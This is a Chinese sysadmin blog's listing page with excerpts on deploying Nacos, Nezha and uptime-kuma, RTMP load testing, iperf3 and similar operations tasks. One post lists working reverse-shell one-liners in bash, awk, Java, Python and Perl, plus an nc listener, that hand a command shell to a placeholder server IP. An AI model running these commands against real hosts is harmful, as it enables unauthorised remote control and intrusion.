首页
AI导航
美图
服务
付费
树洞
留言
云主机
推荐
邻居
更多
我的书单
我的足迹
罗盘时钟
圈小猫
工作打分
本站统计
版本历史
推荐
txt阅读器
主机监控
M商城
网址导航
在线工具
证件照制作
Search
1
docker和docker-compose一键安装脚本
824 阅读
2
docker下运行grafana和grafana Image Renderer
664 阅读
3
grafana的Dashboard面板添加阈值报警
632 阅读
4
WooCommerce对接第三方支付插件开发
503 阅读
5
基于docker的部署fecmall开源电商系统
442 阅读
ChatGPT
虚拟化
数据库
运维
基础知识
监控预警
数据展示
运维工具
web安全
系统服务
开发
python
php
java
shell
go
html5
项目
博客
电商
工具
娱乐
影视
读书
读书笔记
综合
VPS报告
规范文档
知识总结
经验分享
关于本站
登录
Search
标签搜索
python
django
电商平台
运维工具
Joe主题
docker
zabbix
蓝鲸智云
运维
监控
typecho
grafana
wordpress
运维知识
mysql
php
elk
nginx
web安全
VPS测试
IT不难
累计撰写
245
篇文章
累计收到
209
条评论
首页
栏目
ChatGPT
虚拟化
数据库
运维
基础知识
监控预警
数据展示
运维工具
web安全
系统服务
开发
python
php
java
shell
go
html5
项目
博客
电商
工具
娱乐
影视
读书
读书笔记
综合
VPS报告
规范文档
知识总结
经验分享
关于本站
页面
美图
服务
留言
邻居
我的足迹
本站统计
版本历史
推荐
M商城
网址导航
搜索到
80
篇与
的结果
2023-02-22
基于docker运行Nacos单机版
前言 Nacos是更易于构建云原生应用的动态服务发现、服务配置和服务管理平台。{card-describe title="Nacos特点:"}服务发现和服务健康检测动态配置服务动态DNS服务{/card-describe}部署数据库配{message type="success" content="使用自己已经运行的mysql服务,进行建库、授权、初始化等操作。"/}#登录 mysql -uroot -pxxxxx -h127.0.0.1 #建库 CREATE DATABASE `nacos` DEFAULT CHARACTER SET utf8 COLLATE utf8_bin; create user 'nosuser'@'%' IDENTIFIED BY 'nosuserxxx'; grant all privileges on nacos.* to 'nosuser'@'%'; flush privileges; #初始化 mysql -uroot -pxxxxx -h127.0.0.1 nacos < db/mysql-init.sql启动nacos单机版docker-compose.ymlversion: "3.8" services: nacos: image: nacos/nacos-server:${NACOS_VERSION} container_name: nacos-standalone-mysql env_file: - ./env/nacos-standlone-mysql.env volumes: - /var/log/nacos/:/home/nacos/logs ports: - "8848:8848" - "9848:9848" - "9555:9555" restart: alwaysnacos-standlone-mysql.envPREFER_HOST_MODE=hostname MODE=standalone SPRING_DATASOURCE_PLATFORM=mysql MYSQL_SERVICE_HOST=数据库IP地址 MYSQL_SERVICE_DB_NAME=nacos MYSQL_SERVICE_PORT=3306 MYSQL_SERVICE_USER=nosuser MYSQL_SERVICE_PASSWORD=nosuserxxx MYSQL_SERVICE_DB_PARAM=characterEncoding=utf8&connectTimeout=1000&socketTimeout=3000&autoReconnect=true&useSSL=false&allowPublicKeyRetrieval=true启动docker-compose up -d测试web访问http://ip:8848/nacos/#/login 默认密码:nacos/nacos{card-default label="登录页" width="75%"}{/card-default}参考nacos-docker
2023年02月22日
13 阅读
0 评论
0 点赞
2023-01-04
zabbix交换机端口流量手动查询
查询某个端口再一段时间内的流量值#查询语句,选取时间段(2021-12-26 23:35:00 - 2021-12-26 23:39:59) SELECT date_format(from_unixtime(clock), '%Y-%m-%d %H:%i') as time , itemid, value FROM history_uint WHERE itemid IN (41201,41202, 41187,41188) AND clock >= 1640532900 AND clock <= 1640533199 ORDER BY time{card-default label="流量" width="85%"}{/card-default}结果按时间求和SELECT unix_timestamp(time) as time_sec, (SUM(value)/1024/1024/1024) as value, 'Out端口流量汇总(原始数据)' as metric FROM (SELECT date_format(from_unixtime(clock), '%Y-%m-%d %H:%i') as time , value FROM history_uint WHERE itemid IN (41201,41202, 41187,41188) AND clock >= 1640532900 AND clock <= 1640533199 ORDER BY time) AS temp GROUP BY time;{card-default label="求和" width="85%"}{/card-default}
2023年01月04日
32 阅读
0 评论
0 点赞
2022-12-05
centos7部署rtmp服务并进行压力测试
前言{callout color="#f0ad4e"}上一篇文章: 利用iperf3测试两个节点之间的网络性能 ,而影响应用并发有可能是其他方面的原因。直播一般是流量消耗大户,本篇文章分享部署rtmp服务的方法,以及如何进行压力测试。{/callout}服务部署{callout color="#ef4dc4"}nginx-rtmp是打包好的rtmp镜像,在安装了docker的服务器上直接启动即可,非常方便。{/callout}启动# 获取镜像 docker pull alfg/nginx-rtmp # 启动rtmp服务 docker run -it -d -v /data/rtmp:/opt/data --name nginx-rtmp -p 3008:1935 -p 8080:80 --rm alfg/nginx-rtmp # 停止 docker stop nginx-rtmp推流{message type="success" content="利用本地mp4文件进行推流"/}# 安装ffmpeg yum-config-manager --add-repo=https://negativo17.org/repos/epel-multimedia.repo yum-config-manager --disable epel-multimedia yum install -y --enablerepo=epel-multimedia ffmpeg ffmpeg-devel # 验证 ffmpeg -version # 测试视频 wget http://dl.itbunan.xyz/test.mp4 # rtmp推流 # stream_loop -1 循环 -0 单次 # copy 编码复用 ffmpeg -re -stream_loop -1 -i test.mp4 -vcodec copy -acodec copy -f flv rtmp://127.0.0.1:3008/stream/test # hls推流 # 服务已自动转换 #ffmpeg -re -stream_loop -1 -i test.mp4 -vcodec libx264 -acodec aac -f flv rtmp://127.0.0.1:3008/hls/test测试服务状态http://IP:8080/stat {card-default label="服务状态" width="80%"}{/card-default}服务器状态{message type="success" content="通过top,iftop, dstat等工具查看"/}dstatyum install -y dstat dstat -cmdngy -N bond2 --bits{card-default label="dstat" width="80%"}{/card-default}可用性测试rtmp流播放# 本地安装ffplay, 可以打开播放即可 ffplay rtmp://ip:3008/stream/testhls流播放#获取静态资源 wget https://cdn.jsdelivr.net/npm/hls.js@latest -O /data/rtmp/hls.js #修改播放代码 docker exec -it nginx-rtmp sh vi /www/static/player.html<!DOCTYPE html> <html> <head> <title>RTMP Stream Example</title> <script src="hls.js"></script> </head> <body> <video id="my-video" controls autoplay></video> <script> var params = new URLSearchParams(window.location.search); var url = params.get('url'); if (Hls.isSupported()) { var video = document.getElementById('my-video'); var hls = new Hls(); hls.loadSource(url); hls.attachMedia(video); hls.on(Hls.Events.MANIFEST_PARSED, function() { video.play(); }); } </script> </body> </html> 本地通过浏览器访问,可以播放视频 http://IP:8080/player.html压力测试{callout color="#ef6d4d"}有钱人可以使用 阿里云性能测试 ,功能很强大,唯一缺点就是贵。本人尝试用了下,几十块没了。什么也没测出来。有可能是配置不对,总之懒得看了,玩不起。直接用st-load自己测吧。{/callout}# st-load 在centos8上编译失败了,也懒得排错了。直接起一个centos7的镜像吧。 docker pull centos:7.9.2009 docker run -d --name=centos7 --privileged centos:7.9.2009 /usr/sbin/init docker exec -it centos7 /bin/bash # https://github.com/rzrobert/st-load-master.git wget http://dl.itbunan.xyz/st-load-master.tgz tar xvf st-load-master.tgz cd st-load-master/ ./configure make # 支持包 yum -y install patch unzip make gcc gcc-c++ libstdc++-devel # 执行压测,-c 后面是并发数 ./objs/sb_rtmp_load -c 10 -r rtmp://ip:3008/stream/test{message type="warning" content="跑压测的同时,用自身电脑ffplay单独启动一路,如果正常播放,说明没有到达瓶颈"/}输入和输出带宽占比经测试上游推流每路2M左右,不会随着客户端拉流的路数的增加而增加,下图为推流1路,拉流10路的带宽截图{card-default label="推流端" width="75%"}{/card-default}{card-default label="rtmp-server" width="75%"}{/card-default}{card-default label="拉流测试端" width="75%"}{/card-default}
2022年12月05日
34 阅读
0 评论
0 点赞
2022-12-02
哪吒监控部署记录
前言{callout color="#f0ad4e"}哪吒监控 一个开源、轻量的服务器和网站监控、运维工具。本文记录部署过程。{/callout}单点登录github{message type="success" content="国外使用"/}配置地址: https://github.com/settings/developers {card-describe title="应用配置"}应用名:nezha-monitor访问域名:http://ip:8090回调地址:http://ip:8090/oauth2/callback{/card-describe}{message type="success" content="妥善保存clientid 和密钥,安装服务端时使用"/}JihuLab{message type="success" content="国内使用"/}配置地址: https://jihulab.com/-/profile/applications {card-describe title="配置"}回调地址:http://ip:8090/oauth2/callback范围:read_user 和 read_api{/card-describe}服务端安装# 国外 curl -L https://raw.githubusercontent.com/naiba/nezha/master/script/install.sh -o nezha.sh && chmod +x nezha.sh && sudo ./nezha.sh # 国内 curl -L https://jihulab.com/nezha/nezha/-/raw/master/script/install.sh -o nezha.sh && chmod +x nezha.sh && sudo CN=true ./nezha.sh{card-default label="配置" width="80%"}{/card-default}服务端配置配置接收数据地址{message type="success" content="设置-> 未接入CDN的面板服务器域名/IP"/}添加主机{card-default label="添加" width="80%"}{/card-default}nginx反向代理隐藏内容,请前往内页查看详情客户端安装主流系统自动安装# 国外 curl -L https://raw.githubusercontent.com/naiba/nezha/master/script/install.sh -o nezha.sh && chmod +x nezha.sh && sudo ./nezha.sh # 国内 curl -L https://jihulab.com/nezha/nezha/-/raw/master/script/install.sh -o nezha.sh && chmod +x nezha.sh && sudo CN=true ./nezha.sh{card-default label="安装" width="80%"}{/card-default}debain手动安装## 安装依赖命令 apt install -y wget unzip curl ## 执行安装脚本 ./agent_install.sh ## 启动 /opt/nezha/nezha-agent -s ip:5555 -p 密钥{card-describe title="agent_install.sh内容"}#!/bin/bash NZ_AGENT_PATH="/opt/nezha" install() { GITHUB_URL="github.com" if [ ! -f "${NZ_AGENT_PATH}/nezha-agent" ]; then if [[ $(uname -m | grep 'x86_64') != "" ]]; then os_arch="amd64" elif [[ $(uname -m | grep 'i386\|i686') != "" ]]; then os_arch="386" elif [[ $(uname -m | grep 'aarch64\|armv8b\|armv8l') != "" ]]; then os_arch="arm64" elif [[ $(uname -m | grep 'arm') != "" ]]; then os_arch="arm" elif [[ $(uname -m | grep 's390x') != "" ]]; then os_arch="s390x" elif [[ $(uname -m | grep 'riscv64') != "" ]]; then os_arch="riscv64" fi local version=$(curl -m 10 -sL "https://api.github.com/repos/naiba/nezha/releases/latest" | grep "tag_name" | head -n 1 | awk -F ":" '{print $2}' | sed 's/\"//g;s/,//g;s/ //g') if [ ! -n "$version" ]; then version=$(curl -m 10 -sL "https://fastly.jsdelivr.net/gh/naiba/nezha/" | grep "option\.value" | awk -F "'" '{print $2}' | sed 's/naiba\/nezha@/v/g') fi if [ ! -n "$version" ]; then version=$(curl -m 10 -sL "https://gcore.jsdelivr.net/gh/naiba/nezha/" | grep "option\.value" | awk -F "'" '{print $2}' | sed 's/naiba\/nezha@/v/g') fi if [ ! -n "$version" ]; then echo -e "获取版本号失败,请检查本机能否链接 https://api.github.com/repos/naiba/nezha/releases/latest" return 0 else echo -e "当前最新版本为: ${version}" fi wget -t 2 -T 10 -O nezha-agent_linux_${os_arch}.zip https://${GITHUB_URL}/naiba/nezha/releases/download/${version}/nezha-agent_linux_${os_arch}.zip >/dev/null 2>&1 if [[ $? != 0 ]]; then echo -e "Release 下载失败,请检查本机能否连接 ${GITHUB_URL}${plain}" return 0 fi mkdir -p $NZ_AGENT_PATH chmod 755 -R $NZ_AGENT_PATH unzip -qo nezha-agent_linux_${os_arch}.zip && mv nezha-agent $NZ_AGENT_PATH && rm -rf nezha-agent_linux_${os_arch}.zip fi if [ ! -x "${NZ_AGENT_PATH}/nezha-agent" ]; then chmod +x ${NZ_AGENT_PATH}/nezha-agent fi } export -f install install{/card-describe}访问http://ip:8090 {card-default label="后台" width="80%"}{/card-default}{card-default label="首页" width="75%"}{/card-default}
2022年12月02日
93 阅读
2 评论
0 点赞
2022-12-02
利用uptime-kuma监控服务状态
前言{callout color="#f0ad4e"}一个自托管的网站监控工具,支持的功能也相对较为丰富。{/callout}配置docker-compose.yamlversion: '3.3' networks: knet: driver: bridge services: kuma: image: louislam/uptime-kuma volumes: - /data/kuma:/app/data ports: - 3001:3001 networks: - knet启动docker-compose up -d访问http://ip:3001 {card-default label="状态" width="80%"}{/card-default}
2022年12月02日
33 阅读
0 评论
0 点赞
2022-12-02
centos7升级python3.9版本
前言{callout color="#f0ad4e"}系统自带的版本比较老了,好多代码跑不动。需要升级版本,记录升级过程{/callout}获取最新包官方下载:https://www.python.org/downloads/安装# 下载 wget https://www.python.org/ftp/python/3.9.15/Python-3.9.15.tar.xz # 解压 tar xvf Python-3.9.15.tar.xz # 编译 cd Python-3.9.15/ ./configure --prefix=/usr/local/python39 make && make install # 创建软连接 ln -s /usr/local/python39/bin/python3.9 /usr/bin/python39 ln -s /usr/local/python39/bin/pip3.9 /usr/local/bin/pip39
2022年12月02日
96 阅读
0 评论
0 点赞
2022-11-28
反弹式shell
前言{callout color="#f0ad4e"}反弹shell是指控制端监听某个TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出传递到控制端的过程。反弹shell是打开内网通道的第一步,也是权限提升过程中至关重要的一步。{/callout}服务端#打开本地监听 nc -lvvp 2333客户端bash版bash -i >& /dev/tcp/服务端IP/2333 0>&1awk版awk 'BEGIN{s="/inet/tcp/0/服务端IP/2333";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'java版public class fShell { /** * @param args * @throws Exception */ public static void main(String[] args) throws Exception { // TODO Auto-generated method stub Runtime r = Runtime.getRuntime(); String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/服务端IP/2333;cat <&5 | while read line; do $line 2>&5 >&5; done"}; Process p = r.exec(cmd); p.waitFor(); } }编译执行javac fShell.java java fShellpython版python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('服务器IP',2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"Perl版perl -e 'use Socket;$i="服务器IP";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
2022年11月28日
18 阅读
0 评论
0 点赞
2022-11-17
centos7编译安装ImageMagick7
前言{callout color="#f0ad4e"}使用ImageMagick的创建,编辑,撰写,或转换位图图像。它可以读取和写入各种格式(超过200种)的图像,包括PNG,JPEG,GIF,HEIC,TIFF,DPX,EXR,WebP,Postscript,PDF和SVG。使用ImageMagick可以调整图像大小,翻转,镜像,旋转,变形,剪切和变换图像,调整图像颜色,应用各种特殊效果或绘制文本,线条,多边形,椭圆和贝塞尔曲线。{/callout}软件下载ImageMagick.tar.gz安装过程# 安装支持库 yum install -y fftw* bzip2* freetype* libjpeg* libpng* libtiff* giflib* zlib* ghostscript* libwmf* jasper* yum install -y libtool* libx11* libxext* libxt* lcms-* libxml2* librsvg2* openexr* openjpeg* openjpeg2* libwebp* gd* libungif* tcl* glib2* fontconfig* yum install -y gcc automake autoconf libtool make gcc+ gcc-c++ # 解压安装 tar xvf ImageMagick.tar.gz cd ImageMagick-7.1.0-52/ ./configure --with-modules -enable-shared make make install # 版本 convert -version # 转换 convert test.jpg -resize 50% test.png{card-default label="版本" width="85%"}{/card-default}
2022年11月17日
72 阅读
0 评论
0 点赞
2022-11-12
通过tar打包文件并加密
加密tar -zcvf - 文件名 | openssl des3 -salt -k '密码' -out 文件名.tar.gz解密openssl des3 -d -k '密码' -salt -in 文件名.tar.gz | tar xzf -
2022年11月12日
22 阅读
0 评论
0 点赞
2022-11-02
利用iperf3测试两个节点之间的网络性能
前言{callout color="#f0ad4e"}iperf3 是一个 TCP/IP 和 UDP/IP 的性能测量工具,能够提供网络吞吐率信息,以及震动、丢包率、最大段和最大传输单元大小等统计信息;从而能够帮助我们测试网络性能,定位网络瓶颈。iperf是开源的。iperf 不能够测试时延。{/callout}网络性能参数(服务质量QOS){message type="success" content="带宽/吐、延迟、抖动、丢包率 "/}{card-describe title="抖动"}在iperf中,测试需要发送大量的包,计算出来的抖动值就是连续发送时延差值的平均值。{/card-describe}软件安装#安装 yum install -y iperf3 #简单回测 #启动服务端 iperf3 -s #客户端测试 iperf3 -c 127.0.0.1{card-default label="结果" width="95%"}{/card-default}参数说明{callout color="#f0ad4e"}-s 以server模式启动-c 以client模式启动{/callout}{card-describe title="通用参数"}-f [k|m|K|M] 分别表示以Kbits, Mbits, KBytes, MBytes显示报告-i sec 以秒为单位显示报告间隔-l 缓冲区大小,默认是8KB-m 显示tcp最大mtu值-o 将报告和错误信息输出到文件-p 指定服务器端使用的端口或客户端所连接的端口-u 使用udp协议-w 指定TCP窗口大小,默认是8KB{/card-describe}{message type="success" content="-w 数据的计算 带宽x延迟"/} 网络带宽为40Mbit/s,回环路径消耗时间是2ms,那么TCP的窗口大小不小于40Mbit/s×2ms = 80kbit = 10Kbytes {card-describe title="server专用参数"}-D 以服务方式运行ipserf-R 停止iperf服务,针对-D{/card-describe}{card-describe title="client专用参数"}-d 同时进行双向传输测试-n 指定传输的字节数-r 单独进行双向传输测试-b 指定发送带宽,默认是1Mbit/s-t 测试时间,默认10秒,eg:iperf3 -c 222.35.11.23 -t 5-F 指定需要传输的文件-T 指定ttl值{/card-describe}测试用例{message type="success" content="如果需要同时获取吞吐量、抖动和丢包率,需要使用UDP协议,默认为TCP"/}服务端# 使用udp协议 iperf3 -s -u # 默认tcp,以服务方式启动 iperf3 -s -D客户端# 每秒输出一次结果, 采用udp, 带宽限制为10M iperf3 -c ip -u -i 1 -t 10 -b 10M # 反转server和client iperf3 -c 163.177.76.26 -b 100M -i 1 -t 5 -R # 单线程传输1GB数据,每秒输出1次结果 iperf3 -c ip -n -n 1G -i 1 # 100M,单线程 iperf3 -c ip -n 100M -i 1 # 100M,双线程 iperf3 -c ip -n 100M -i 1 - P2拓展字节单位换算{card-describe title="关于字节(Byte)"}1Byte = 8 bitascii:英文字母占1个字节,中文汉字2个字节utf-8:英文字母占1个字节,中文汉字3个字节Unicode: 英文字母占2个字节,中文汉字2个字节{/card-describe}网络数据包{card-default label="数据结构" width="80%"}{/card-default}{card-default label="封装过程" width="80%"}{/card-default}MTU{message type="success" content="最大传输单元,指通信协议在某一层上面所能通过的最大数据包大小,通常与通信接口有关"/}{callout color="#f0ad4e"}TCP/IP协议涉及四层:链路层,网络层,传输层,应用层以太网的数据帧在链路层IP包在网络层TCP或UDP在传输层关系:数据帧{IP包{TCP或UDP包{Data}}}{/callout}{card-describe title="数据包大小分析"}链路层MTU通常为1500网络层IP首部占用20字节,MTU变为1480传输层UDP占用8字节,MTU为1480-8=1472;TCP占用20字节,MTU为1480-20=1460。{/card-describe}{card-default label="数据帧构成" width="70%"}{/card-default}{message type="error" content="INternet上MTU为576,UDP编程数据长度最好在576-20-8=548字节以内"/}
2022年11月02日
102 阅读
0 评论
0 点赞
1
2
...
8